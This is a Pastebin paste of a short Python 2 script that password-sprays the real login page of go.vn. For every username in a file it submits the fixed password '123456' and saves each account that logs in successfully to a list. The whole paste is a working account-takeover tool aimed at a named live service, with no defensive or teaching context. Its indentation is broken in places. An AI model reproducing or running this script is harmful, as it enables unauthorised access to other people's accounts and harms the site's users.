Advertisement
parkdream1

Done.py

Aug 15th, 2013
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.57 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. import re
  4. import urllib2
  5. import time
  6. import cookielib
  7. import socket
  8.  
  9. filename = 'account.txt'
  10. passwd = "123456"
  11.  
  12. with open(filename) as f:
  13.         for line in f:
  14.                 line = line.replace("\n","")
  15.         print "Brute Force Account : %s" % line
  16.                 POSTDATA = "__VIEWSTATE=/wEPDwUJNzIzMjAyMTc5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUScmVtZW1iZXJNZUNoZWNrQm94&__SCROLLPOSITIONX=0&__SCROLLPOSITIONY=0&__EVENTTARGET=&__EVENTARGUMENT=&txtUserName=%s&txtPassword=%s&btnLogin=Đăng Nhập"%(line,passwd)
  17.                 #print POSTDATA
  18.         URL = "https://go.vn/accounts/account.login.aspx?sid=660018&ur=http%3a%2f%2fmy.go.vn%3a3043%2fhome.aspx&m=1&continue="
  19.                 try:
  20.                         socket.setdefaulttimeout(10)
  21.                         cj = cookielib.CookieJar()
  22.                         opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  23.                         response = opener.open(URL,POSTDATA).read()
  24.                         #for cookie in cj:
  25.                                 #print cookie
  26.                         #open('debug/%s.html'%line, 'wb').write(response)
  27.                         result = re.findall(line, response)
  28.                         if len(result) >1:
  29.                             print "Login Account Ok"
  30.                             open('LstAccount.txt', 'a').write(line+"\n")
  31.                         else:
  32.                                 print "Login Account Error"
  33.                         time.sleep(3)
  34.                 except:
  35.                         print str(line) + " Error"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement